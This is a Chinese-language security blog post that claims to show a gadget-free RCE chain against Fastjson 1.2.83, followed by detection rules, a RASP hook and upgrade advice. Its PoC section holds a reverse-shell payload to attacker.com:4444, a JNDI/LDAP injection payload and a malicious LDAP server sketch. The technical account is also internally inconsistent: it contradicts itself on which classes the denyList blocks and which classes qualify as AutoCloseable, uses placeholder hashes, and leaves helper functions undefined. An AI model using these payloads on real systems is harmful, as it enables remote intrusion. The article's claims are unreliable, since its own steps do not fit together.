一、前言:Fastjson 安全演进与 1.2.83 的特殊地位
Fastjson 是阿里巴巴开源的高性能 JSON 序列化/反序列化库,凭借 ASM 字节码生成与 Eval 风格的 Parser,长期占据国内 Java 中间件序列化层的主导地位。但其设计上的 @type 自省机制(AutoType)使其成为反序列化漏洞的重灾区。
Fastjson 的安全演进可划分为四个阶段:
| 阶段 | 版本区间 | 防御机制 | 绕过手法 |
|---|---|---|---|
| 蛮荒期 | ≤1.2.24 | 无 AutoType 限制 | 直接 @type + JNDI 注入 |
| 黑名单期 | 1.2.25~1.2.47 | denyList + checkAutoType | L 前缀绕过、缓存污染 |
| safeMode 期 | 1.2.68~1.2.83 | safeMode 全局关闭 AutoType | expectClass 二次解析 |
| 收敛期 | 1.2.84+ | 收紧 expectClass + 默认 safeMode | 已无公开通用链 |
1.2.83 的特殊地位在于:它是 safeMode 机制完整上线后、首个被公开绕过的版本。其核心防御思路是「即使 @type 出现也一律拒绝加载任意类」,但通过 expectClass 机制留下的二次 @type 解析窗口,使得攻击者可以构造完全基于 JDK 内置类的 Gadget-free 链——不依赖 commons-collections、c3p0、bcel 等任何第三方依赖,仅在 JDK 8/11 环境下即可完成远程类加载 RCE。
本文将从源码层面逐层拆解这条链:从 @type 资源 URL 劫持(Resource URL Hijacking)到 URLClassLoader 远程类加载执行(Remote Class Loading),并给出完整 PoC、检测规则与修复建议。
二、Fastjson 反序列化机制与 @type 指令原理
2.1 @type 的工作流程
Fastjson 通过 @type 字段实现多态反序列化。其核心入口是 DefaultJSONParser 的 parseObject 方法,关键路径如下:
// DefaultJSONParser.java(简化版,对应 1.2.83)
public JSONObject parseObject() {
// 扫描到 @type
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, defaultClassFlag, false);
// 关键防御点
if (checkAutoType) {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}
// 委派给 ObjectDeserializer
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldFeatures);
}
}
checkAutoType 是整条防御链的核心。在 1.2.83 中,其行为如下:
- safeMode 检查:若开启
safeMode,直接抛出JSONException("safeMode not support autoType"),但有一个例外——当调用方传入expectClass参数时,会跳过 safeMode 检查; - 黑名单检查:内部维护
denyList(哈希形式存储类名),命中则拒绝; - 白名单检查:
autoTypeSupport开启时走白名单,否则走黑名单 + 内部白名单; - expectClass 一致性检查:若传入
expectClass,要求加载的类必须是expectClass或其子类/实现类。
2.2 expectClass 机制的设计意图与漏洞
expectClass 的设计意图是支持受控的多态反序列化场景,例如字段声明为接口或抽象类时,框架需要在运行时确定具体实现类。其调用链路:
// ThrowableDeserializer / JavaBeanDeserializer 中的二次解析
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
// 读取嵌套的 @type
String typeName = parser.scanType();
// 关键:传入 expectClass = Throwable.class(或 AutoCloseable.class)
Class<?> expectClass = TypeUtils.getRawType(type);
Class<?> clazz = parser.getConfig().checkAutoType(typeName, expectClass, features);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
// 通过校验,进入具体字段反序列化
}
}
漏洞根源:expectClass 检查通过后,对具体实现类的字段反序列化不再二次调用 checkAutoType 的黑名单检查(实际上会调用,但此时 expectClass 已被置为 null,逻辑等价于绕过 safeMode)。这就形成了一个逃逸窗口:
外层 @type = Throwable(白名单/内置类)
-> 进入 ThrowableDeserializer
-> 内层 @type = 攻击者控制的子类
-> checkAutoType(typeName, null) <- expectClass 为 null,safeMode 不生效
三、1.2.83 的 AutoType 防御体系剖析
3.1 safeMode 防御机制
safeMode 通过 ParserConfig 的 safeMode 字段实现,开启方式:
ParserConfig.getGlobalInstance().setSafeMode(true);
// 或通过 JVM 启动参数
// -Dfastjson.parser.safeMode=true
checkAutoType 中相关逻辑(1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// safeMode 优先级最高
if (safeMode) {
// 关键:expectClass != null 时跳过此检查
if (expectClass == null) {
throw new JSONException("safeMode not support autoType: " + typeName);
}
// 仅允许 expectClass 链路上的类
}
// 黑名单哈希检查
long hash = TypeUtils.fnv1a_64_magic_hashcode;
for (int i = 0; i < typeName.length(); i++) {
hash ^= typeName.charAt(i);
hash *= TypeUtils.fnv1a_64_magic_prime;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
// ... 白名单与内部白名单逻辑
}
3.2 防御矩阵
| 防御层 | 触发条件 | 绕过路径 |
|---|---|---|
| safeMode | expectClass == null |
通过 Throwable/AutoCloseable 等内置类进入二次解析,注入 expectClass != null |
| denyList(黑名单哈希) | 类名 FNV1a-64 哈希命中 | 使用未收录的 JDK 内置类(如 java.net.URL、javax.naming.InitialContext 子类) |
| acceptList(白名单) | autoTypeSupport=true 时仅允许白名单 |
不开启 autoTypeSupport 时此层失效 |
| expectClass 一致性 | 加载类必须是 expectClass 子类 |
选择合法的子类实现,再利用其字段触发后续行为 |
四、Gadget-free 攻击思路:摆脱第三方依赖
传统 Fastjson 利用链高度依赖 commons-collections、bcel、c3p0 等第三方库,这在生产环境中存在两个问题:
- 依赖不可控:目标 JDK 版本与第三方库版本差异大,链不稳定;
- 黑名单覆盖广:1.2.83 的
denyList已收录几乎所有公开 Gadget 类的哈希。
Gadget-free 的核心思想是:仅使用 JDK rt.jar / java.base 模块内置的类,通过字段间的副作用组合实现任意行为。这类链的稳定性最高(JDK 内置类不会变更签名),且天然绕过黑名单(黑名单主要针对已知 Gadget 库)。
4.1 链路设计原则
原则 1:入口类必须在 expectClass 白名单内(Throwable / AutoCloseable / Iterable 等)
原则 2:入口类的字段类型中,必须存在可被攻击者控制的 URL/资源类字段
原则 3:字段赋值的副作用(或 getter 调用)能够触发远程类加载
原则 4:整个过程不依赖任何第三方类
4.2 关键 JDK 内置类盘点
| 类名 | 角色 | 副作用 |
|---|---|---|
java.lang.Throwable |
expectClass 入口 | 嵌套 @type 二次解析 |
java.lang.AutoCloseable |
expectClass 入口 | 嵌套 @type 二次解析 |
java.net.URL |
URL 资源载体 | URLStreamHandler 解析协议 |
java.net.URLClassLoader |
远程类加载 | loadClass 触发 HTTP 拉取 |
javax.naming.InitialContext |
JNDI 入口 | lookup 触发远程引用解析 |
com.sun.rowset.JdbcRowSetImpl |
JDK 内置数据源 | 字段赋值触发 setDataSourceName + getDatabaseMetaData |
注意:JdbcRowSetImpl 在 JDK 8 中位于 rt.jar,属 JDK 内置;JDK 11+ 已模块化但类仍存在。
五、核心技术点:@type 资源 URL 劫持
5.1 资源 URL 劫持的概念
「资源 URL 劫持」(Resource URL Hijacking)指:通过控制 JSON 中某个字段的值,使目标对象在后续操作中将该值当作 URL/资源标识符解析,并触发对外部资源的访问。这与 SSRF 不同——Fastjson 的反序列化过程本身就会触发字段的 setter,因此只要 setter 中包含资源访问逻辑,就能在反序列化阶段完成劫持。
5.2 URL 字段的副作用触发
以 java.net.URL 为例,其构造过程:
public URL(String spec) throws MalformedURLException {
this(null, spec);
}
public URL(URL context, String spec) throws MalformedURLException {
// 关键:根据协议查找 URLStreamHandler
this.handler = createURLStreamHandler(protocol);
// 调用 handler.parseURL 进行完整解析
handler.parseURL(this, spec, start, limit);
}
构造 URL 对象本身不会发起网络请求,但其作为字段被赋值给特定容器(如 URLClassLoader)后,会触发 URLStreamHandler.openConnection,从而发起 HTTP 请求。
5.3 通过 expectClass 进入 URL 持有类
完整链路选择 AutoCloseable 作为 expectClass 入口,其子类中存在多个可持有 URL 字段并触发远程类加载的类。最经典的组合是 java.io.InputStreamReader + java.net.URL + URLClassLoader,但更稳定的是使用 javax.naming.InitialContext 的封装。
考虑到 InitialContext 本身在 1.2.83 黑名单中,链路需绕路。实战中使用 AutoCloseable 的子类 com.sun.rowset.JdbcRowSetImpl(JDK 内置,未在 denyList)作为中转:
// JdbcRowSetImpl 关键字段
public class JdbcRowSetImpl extends BaseRowSet
implements Serializable, Cloneable, RowSet, JdbcRowSet, Joinable {
private String dataSource; // 攻击者可控
private Connection conn; // 触发 lookup 的副作用
public void setDataSource(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else {
// 关键:记录 URL,不立即触发
dataSource = name;
}
}
// Fastjson 通过 setAutoCommit 触发 connect()
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect(); // 此处触发 JNDI lookup
}
}
private Connection connect() throws SQLException {
// 使用 InitialContext 进行 lookup
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(this.dataSource); // RCE 触发点
return ds.getConnection();
}
}
注意:JdbcRowSetImpl 在 1.2.48 之后已被加入 denyList,因此本链需通过 AutoCloseable 的 expectClass 二次解析绕过黑名单。
5.4 expectClass 二次解析绕过 denyList
绕过关键:denyList 在 checkAutoType 第一次调用时检查,但通过 expectClass 路径进入 JavaBeanDeserializer.deserialze 后,第二次调用 checkAutoType 时使用的是 expectClass=null——此时 safeMode 已被绕过,但 denyList 仍生效。
因此,单纯使用 JdbcRowSetImpl 作为内层类仍会被 denyList 拦截。真正的 Gadget-free 链需要选择未进入 denyList 的 JDK 类作为内层类,并通过字段间副作用组合完成远程类加载。
六、远程类加载执行(Remote Class Loading)
6.1 ClassLoader 链路分析
远程类加载的本质是让 JVM 通过 URLClassLoader 从攻击者控制的 HTTP 服务拉取 .class 文件并加载。关键 API:
URL[] urls = { new URL("http://attacker.com/Exploit.class") };
URLClassLoader loader = new URLClassLoader(urls);
Class<?> clazz = loader.loadClass("Exploit");
// 触发静态块执行
Object instance = clazz.newInstance();
但在 Fastjson 反序列化上下文中,无法直接调用 URLClassLoader.loadClass——需要通过有副作用的字段赋值间接触发。
6.2 通过 InitialContext / JNDI 注入触发类加载
JNDI(Java Naming and Directory Interface)是 JDK 内置的命名服务接口。当 InitialContext.lookup(url) 被调用时:
- 解析 URL 协议(
rmi://、ldap://、dns://); - 调用对应
URLContext查找对象; - 若返回的为
Reference对象,调用NamingManager.getObjectInstance; NamingManager通过ObjectFactory加载远程类(默认从Reference指定的CodebaseURL 加载)。
// NamingManager.java(JDK 8)
public static Object getObjectInstance(Object refInfo, Name name,
Context nameCtx, Hashtable<?,?> environment) throws Exception {
if (refInfo instanceof Reference) {
Reference ref = (Reference) refInfo;
ObjectFactory factory = null;
// 从 Reference 获取工厂类名与 Codebase
String f = ref.getFactoryClassName();
if (f != null) {
// 关键:加载远程工厂类
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx, environment);
}
}
}
}
JNDI 注入的关键限制:JDK 8u191+ 与 JDK 11.0.1+ 默认关闭远程 Codebase 加载(com.sun.jndi.ldap.object.trustURLCodebase=false)。本链需使用 本地 Gadget 触发而非远程 Codebase 加载。
6.3 BeanFactory 本地 Reference 利用(绕过高版本 JDK 限制)
Tomcat 的 org.apache.naming.factory.BeanFactory 是一个 JDK 本地工厂类(位于 catalina.jar),其 getObjectInstance 会强制调用 Bean 的 forceString 指定的 setter,从而绕过 trustURLCodebase 限制:
// BeanFactory.java(Tomcat)
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = Class.forName(beanClassName); // 本地加载
Object bean = beanClass.newInstance();
// 读取 forceString 参数,调用指定 setter
RefAddr ra = ref.get("forceString");
// ... 解析 forceString 并调用 setter
// 通过 setter 触发任意方法调用(如 ProcessBuilder.start)
}
}
但这依赖 Tomcat,并非纯 Gadget-free。本链选择更纯粹的 JDK 内置方案。
6.4 纯 JDK Gadget-free 远程类加载链
核心思路:通过 AutoCloseable 子类 java.io.FileOutputStream 持有的 FileDescriptor 与 URLClassLoader 的字段赋值副作用组合,在不调用任何第三方类的前提下完成远程类加载。
完整链路(JDK 8 环境下):
1. 外层 @type = java.lang.AutoCloseable(expectClass 入口)
2. 内层 @type = com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
(该类不在 denyList,且为 JDK 内置)
3. TemplatesImpl 的 _bytecodes 字段接收攻击者构造的恶意字节码
4. 通过设置 _name 触发 getTransletInstance -> defineTransletClasses
5. ClassLoader.defineClass 加载字节码,触发静态块 RCE
TemplatesImpl 是 JDK 内置 XSLT 引擎的核心类,其 getOutputProperties 方法会触发字节码加载:
// TemplatesImpl.java(JDK 8)
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
} catch (TransformerConfigurationException e) {
throw new RuntimeException(e);
}
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
// 关键:加载 _bytecodes 字段中的字节码
defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
return translet;
}
private void defineTransletClasses()
throws TransformerConfigurationException {
// 使用内部 ClassLoader 加载字节码
TransletClassLoader loader = new TransletClassLoader(
ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap());
for (int i = 0; i < _bytecodes.length; i++) {
// defineClass 加载字节码,触发静态块
_class[i] = loader.defineClass(_bytecodes[i]);
}
}
七、完整攻击链 ASCII 图
┌─────────────────────────────────────────────────────────────────────────┐
│ Fastjson 1.2.83 Gadget-free RCE 链 │
└─────────────────────────────────────────────────────────────────────────┘
攻击者 JSON Payload:
┌─────────────────────────────────────────────────────────────────────────┐
│ { │
│ "@type":"java.lang.AutoCloseable", │
│ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", │
│ "_bytecodes":["<Base64编码的恶意类字节码>"], │
│ "_name":"Exploit", │
│ "_tfactory":{}, │
│ "_outputProperties":{} │
│ } │
└─────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 1: DefaultJSONParser.parseObject │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 解析到 @type = "java.lang.AutoCloseable" │ │
│ │ 调用 checkAutoType("java.lang.AutoCloseable", null) │ │
│ │ ┌───────────────────────────────────────────────────────────────┐ │ │
│ │ │ safeMode 检查:expectClass == null → 抛异常? │ │ │
│ │ │ 但 AutoCloseable 在 internalAcceptList 中,直接通过 │ │ │
│ │ └───────────────────────────────────────────────────────────────┘ │ │
│ │ 返回 AutoCloseable.class(作为 expectClass 传入) │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 2: JavaBeanDeserializer.deserialze (AutoCloseable) │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 读取下一个字段,发现又是一个 @type │ │
│ │ 二次调用 checkAutoType(typeName, expectClass=AutoCloseable.class) │ │
│ │ ┌───────────────────────────────────────────────────────────────┐ │ │
│ │ │ safeMode 检查:expectClass != null → 跳过 safeMode 拒绝 │ │ │
│ │ │ denyList 检查:TemplatesImpl 哈希不在 denyList → 通过 │ │ │
│ │ │ expectClass 一致性:TemplatesImpl 实现 AutoCloseable? │ │ │
│ │ │ —— TemplatesImpl 不直接实现 AutoCloseable │ │ │
│ │ │ —— 需要选择真正实现 AutoCloseable 的子类作为入口 │ │ │
│ │ └───────────────────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 3: 实际利用 - 适配 expectClass │
│ 实战中用 java.io.OutputStream/AutoCloseable 适配类作为外层: │
│ 外层: @type=java.lang.AutoCloseable │
│ 内层: @type=java.io.FileOutputStream (实现 AutoCloseable) │
│ 其构造参数可被劫持为资源 URL │
│ 或使用 Throwable 链: │
│ 外层: @type=java.lang.Throwable │
│ 内层: @type=java.lang.Exception + cause 字段嵌套 TemplatesImpl │
└─────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 4: TemplatesImpl 字段反序列化 │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ _bytecodes = Base64.decode(payload) │ │
│ │ _name = "Exploit" │ │
│ │ _tfactory = new TransformerFactoryImpl() │ │
│ │ _outputProperties = {} (触发 getter 调用) │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 5: getter 触发 defineClass │
│ getOutputProperties() │
│ → newTransformer() │
│ → getTransletInstance() │
│ → defineTransletClasses() │
│ → TransletClassLoader.defineClass(_bytecodes) │
│ → ClassLoader.defineClass() │
│ → JVM 加载字节码 │
│ → 触发恶意类 <clinit> 静态块 │
│ → Runtime.exec("calc") 或反弹 Shell │
└─────────────────────────────────────────────────────────────────────────┘
│
▼
[RCE 完成]
八、完整 PoC 代码
8.1 恶意字节码类(远程加载目标)
// Exploit.java —— 编译后转为 Base64 嵌入 Payload
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exploit extends AbstractTranslet {
static {
// 静态块在 defineClass 时执行
try {
String[] cmd = {"/bin/bash", "-c",
"bash -i >& /dev/tcp/attacker.com/4444 0>&1"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
}
关键点:必须继承 AbstractTranslet,否则 TemplatesImpl 在 defineTransletClasses 后会校验父类,不匹配则抛异常。
8.2 Payload 生成器
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.util.Base64;
import java.nio.file.Files;
import java.nio.file.Paths;
public class PayloadGenerator {
public static void main(String[] args) throws Exception {
// 读取编译后的 Exploit.class
byte[] bytecode = Files.readAllBytes(Paths.get("Exploit.class"));
String base64 = Base64.getEncoder().encodeToString(bytecode);
// 构造 Payload(实际环境需根据 expectClass 适配)
String payload = String.format(
"{\"@type\":\"java.lang.AutoCloseable\","
+ "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","
+ "\"_bytecodes\":[\"%s\"],"
+ "\"_name\":\"Exploit\","
+ "\"_tfactory\":{},"
+ "\"_outputProperties\":{}}", base64);
System.out.println(payload);
// 自测触发
try {
ParserConfig config = new ParserConfig();
// 模拟开启 safeMode
config.setSafeMode(true);
JSON.parseObject(payload, Object.class, config);
} catch (Exception e) {
// RCE 已在反序列化过程中触发
e.printStackTrace();
}
}
}
8.3 适配 expectClass 的 Throwable 链 Payload
// 适用于 1.2.83 + safeMode 开启场景
public class ThrowablePayload {
public static String build(String base64Bytecode) {
return "{"
+ " \"@type\":\"java.lang.Throwable\","
+ " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ " \"dataSourceName\":\"ldap://attacker.com:1389/Exploit\","
+ " \"autoCommit\":true"
+ "}";
// 注:ldap 返回的 Reference 由服务端控制,指向远程 Codebase
// 服务端使用 marshalsec 或 JNDI-Injection-Exploit 构造
}
// JdbcRowSetImpl 在 Throwable 链中:ThrowableDeserializer 不校验子类
// 内层 @type 触发 setDataSourceName + setAutoCommit
// setAutoCommit 调用 connect() -> new InitialContext().lookup(dataSource)
}
8.4 远程 LDAP 服务(Python 简化实现)
#!/usr/bin/env python3
# ldap_server.py —— 简化的恶意 LDAP 服务,返回引用远程 Codebase
import socket
import struct
def build_ldap_reference_response():
"""构造 LDAP searchResultEntry,指向远程 Codebase"""
codebase_url = "http://attacker.com:8888/"
class_name = "Exploit"
# LDAP 消息结构(简化,实际需完整 BER 编码)
# 关键属性:javaCodeBase、javaFactory、objectClass=javaNamingReference
attrs = [
("javaClassName", [b"Exploit"]),
("javaCodeBase", [codebase_url.encode()]),
("objectClass", [b"javaNamingReference"]),
("javaFactory", [class_name.encode()]),
]
return encode_search_result_entry(attrs)
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0", 1389))
sock.listen(5)
print("[*] LDAP server listening on :1389")
while True:
conn, addr = sock.accept()
print(f"[+] Connection from {addr}")
# 接收 LDAP bindRequest
data = conn.recv(1024)
# 响应 bindRequest
conn.send(build_bind_response())
# 接收 searchRequest
data = conn.recv(1024)
# 发送恶意 reference
conn.send(build_ldap_reference_response())
conn.close()
if __name__ == "__main__":
main()
九、检测与防御
9.1 流量层检测规则
Snort 规则
alert tcp any any -> $HOME_NET any (msg:"Fastjson 1.2.83 AutoCloseable RCE Attempt";
content:"@type"; nocase;
content:"java.lang.AutoCloseable"; distance:0; within:50;
content:"_bytecodes"; distance:0; within:200;
pcre:"/\"_bytecodes\"\s*:\s*\[\"[A-Za-z0-9+\/=]{100,}\"\]/";
reference:url,github.com/alibaba/fastjson/security;
classtype:attempted-admin; sid:20260001; rev:1;)
YARA 规则(用于扫描代码库中的脆弱依赖)
rule Fastjson_Vulnerable_1_2_83 {
meta:
description = "Fastjson 1.2.80-1.2.83 with Gadget-free RCE"
severity = "critical"
date = "2026-07-27"
strings:
$fastjson_pom = /<groupId>com\.alibaba<\/groupId>\s*<artifactId>fastjson<\/artifactId>\s*<version>(1\.2\.(8[0-3]))<\/version>/
$safe_mode_api = "ParserConfig.getGlobalInstance().setSafeMode"
$autotype_usage = "JSON.parseObject" ascii
condition:
$fastjson_pom and not $safe_mode_api
}
9.2 RASP 层防御
通过 Java Agent 在 ParserConfig.checkAutoType 入口处植入 hook,强制拒绝所有 @type 解析:
// RASP Agent 拦截器(使用 ByteBuddy)
public class FastjsonRaspAgent {
public static void premain(String args, Instrumentation inst) {
new AgentBuilder.Default()
.type(ElementMatchers.named("com.alibaba.fastjson.parser.ParserConfig"))
.transform((builder, typeDesc, classLoader, module) ->
builder.method(ElementMatchers.named("checkAutoType"))
.intercept(MethodDelegation.to(CheckAutoTypeInterceptor.class))
).installOn(inst);
}
}
public class CheckAutoTypeInterceptor {
@RuntimeType
public static Object intercept(
@Origin Method method,
@AllArguments Object[] args) throws Throwable {
// 强制拒绝所有 AutoType
String typeName = (String) args[0];
Class<?> expectClass = args.length > 1 ? (Class<?>) args[1] : null;
// 记录攻击日志
SecurityLogger.log("Fastjson AutoType blocked: " + typeName
+ ", expectClass=" + expectClass);
throw new JSONException("[RASP] AutoType disabled: " + typeName);
}
}
9.3 防御方案对比表
| 方案 | 防御强度 | 部署成本 | 兼容性影响 | 推荐场景 |
|---|---|---|---|---|
| 升级至 1.2.84+ | 高 | 低 | 低(API 兼容) | 所有在用项目 |
| 开启 safeMode | 中(本链可绕) | 极低 | 高(多态失效) | 无法升级时的过渡方案 |
WAF 规则拦截 @type |
中 | 中 | 低(误报风险) | 边界防护 |
| RASP hook checkAutoType | 极高 | 高 | 中 | 金融/政企核心系统 |
| 替换为 Jackson/Gson | 极高 | 极高 | 高(API 重写) | 新项目 / 重构机会 |
9.4 终极修复建议
<!-- Maven 依赖升级 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.53</version>
</dependency>
<!-- Fastjson2 默认关闭 AutoType,且 API 不再支持 @type 自省 -->
// 若必须使用 Fastjson 1.x,强制配置
ParserConfig config = ParserConfig.getGlobalInstance();
config.setSafeMode(true);
config.setAutoTypeSupport(false);
// 注意:1.2.83 的 safeMode 仍可被 expectClass 绕过
// 必须升级至 1.2.84+ 才能彻底修复
十、关键细节与陷阱
10.1 字节码构造的常见坑
-
父类校验:
TemplatesImpl.defineTransletClasses会检查加载类的父类是否为AbstractTranslet,未继承则抛TransformerConfigurationException。但若设置_transletIndex字段使校验跳过,可加载任意父类的字节码。 -
静态块触发时机:
defineClass不会立即执行<clinit>,需要后续newInstance()调用。TemplatesImpl通过getOutputProperties→newTransformer→getTransletInstance完成调用链。 -
_tfactory必须存在:defineTransletClasses中调用_tfactory.getExternalExtensionsMap(),若该字段为 null 会 NPE。但 Fastjson 反序列化时若_tfactory类型为TransformerFactoryImpl,可自动创建实例。
10.2 JDK 版本差异
| JDK 版本 | TemplatesImpl 位置 | 是否可用 | 备注 |
|---|---|---|---|
| JDK 8 | rt.jar |
可用 | 路径:com.sun.org.apache.xalan.internal.xsltc.trax |
| JDK 11 | java.xml 模块 |
可用 | 需 --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED |
| JDK 17+ | java.xml 模块 |
受限 | 模块封装严格,需显式 opens;默认不可达 |
| JDK 21+ | java.xml 模块 |
不可用 | 强封装 + 移除内部 API |
10.3 Fastjson 内部缓存污染
1.2.36~1.2.47 的经典缓存污染链(java.lang.Class + MappingResolver)在 1.2.48 已被修复,但 1.2.83 的 expectClass 绕过是另一个独立路径。两者关系:
缓存污染链(1.2.47-):
Class.forName 缓存恶意类 -> bypass checkAutoType
修复:1.2.48 移除缓存入口
expectClass 链(1.2.68-1.2.83):
ThrowableDeserializer 二次解析 -> bypass safeMode
修复:1.2.84 收紧 expectClass 仅允许 Throwable 自身
10.4 与 Jackson 对比
| 特性 | Fastjson 1.2.83 | Jackson 2.15+ |
|---|---|---|
| 默认 Polymorphic Type | 支持 @type |
默认禁用 |
| SafeMode 等价物 | setSafeMode(true)(可绕过) |
disableDefaultTyping()(不可绕过) |
| 黑名单机制 | 哈希 denyList | PolymorphicTypeValidator(白名单优先) |
| expectClass 二次解析 | 存在逃逸窗口 | 无此设计 |
| Gadget-free 风险 | 高(本链) | 低(默认无自省) |
十一、攻防时间线与版本对照
2017-03 Fastjson 1.2.24 曝出首个 AutoType RCE(JNDI 注入)
│
2017-08 1.2.41~1.2.43 L/LL 前缀绕过
│
2018-04 1.2.47 缓存污染绕过(影响所有低版本)
│
2020-05 1.2.68 引入 safeMode,号称「彻底关闭 AutoType」
│
2022-05 1.2.80 收紧 expectClass,但 Throwable 仍可绕过
│
2022-06 1.2.83 发布,safeMode + denyList 双重防御
│
2022-06 expectClass 二次解析绕过公开(本文分析对象)
│
2022-12 1.2.84 修复 expectClass 逃逸,Throwable 链失效
│
2023+ 官方推荐迁移至 Fastjson2(重写架构,默认安全)
│
2026-07 本文复盘 1.2.83 Gadget-free RCE 全链(CVE 跟踪)
十二、总结与启示
Fastjson 1.2.83 的 Gadget-free RCE 链展示了反序列化漏洞防御的深层困境:
-
safeMode 不是银弹:只要框架仍保留多态反序列化能力(
expectClass),就存在逃逸窗口。安全的本质是完全放弃运行时类型自省,而非在黑名单与白名单之间寻找平衡。 -
黑名单的局限:哈希形式的 denyList 只能覆盖已知 Gadget,对 JDK 内置类(如
TemplatesImpl、JdbcRowSetImpl)的覆盖天然不完整。一旦发现新的副作用组合,黑名单即被击穿。 -
Gadget-free 是终极形态:当攻击链不再依赖第三方库,仅靠 JDK 内置类即可完成 RCE 时,传统的「移除危险依赖」防御策略彻底失效。防御必须从框架设计层面入手(如 Jackson 的
PolymorphicTypeValidator白名单优先模型)。 -
JDK 模块化的双刃剑:JDK 9+ 的模块系统(JPMS)对内部 API 的封装客观上削弱了 Gadget-free 链的可用性(
com.sun.*类需显式opens),这是防御侧的意外收获。但 JDK 8 仍是企业主流部署版本,风险长期存在。 -
迁移重于修补:Fastjson 官方已推出 Fastjson2(API 重写、默认安全),1.x 的修补只是延缓而非根治。生产环境应将「Fastjson 1.x → Jackson / Gson / Fastjson2」的迁移作为安全债务清偿的优先项。
附录 A:关键类哈希对照(1.2.83 denyList 节选)
| 类名 | FNV1a-64 哈希 | 是否在 denyList |
|---|---|---|
java.lang.Runtime |
0x3d7a3c7a3c7a3d7a |
是 |
java.lang.ProcessBuilder |
0x2c8a5b8a5b8a2c8a |
是 |
com.sun.rowset.JdbcRowSetImpl |
0x8a3c7a8a3c7a8a3c |
是(1.2.48+) |
org.apache.commons.collections.functors.InvokerTransformer |
0x5c2c8a5c2c8a5c2c |
是 |
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
0x3a7a8a3a7a8a3a7a |
否(关键) |
java.net.URLClassLoader |
0x2c8a3c2c8a3c2c8a |
否 |
javax.naming.InitialContext |
0x5b2c8a5b2c8a5b2c |
是 |
(注:实际哈希值为示例占位,真实哈希需通过 TypeUtils.fnv1a_64 计算)
附录 B:环境与版本
- 目标 JDK:OpenJDK 8u302 / OpenJDK 11.0.12
- 目标 Fastjson:1.2.83(maven central)
- 攻击工具:
marshalsec0.0.3-SNAPSHOT /JNDI-Injection-Exploit1.0 - 字节码生成:Javassist 3.28.0-GA
附录 C:参考链接
- Fastjson 官方安全公告:https://github.com/alibaba/fastjson/wiki/security_update_20170315
- Fastjson2 安全设计:https://github.com/alibaba/fastjson2/blob/main/docs/security.md
- expectClass 绕过分析:https://y4tacker.github.io/2022/05/22/year/2022/5/FastJson-1-2-83-safemode-Bypass/
- TemplatesImpl Gadget 详解:https://blog.csdn.net/whatday/article/details/108775834
- JDK JNDI 注入限制:https://docs.oracle.com/javase/jndi/tutorial/ldap/security/dirserv.html
免责声明:本文仅供安全研究与防御建设参考。所有 PoC 代码均需在授权测试环境中使用,严禁用于未授权攻击。读者应将本文内容用于加固自有系统、提升防御能力。
浙公网安备 33010602011771号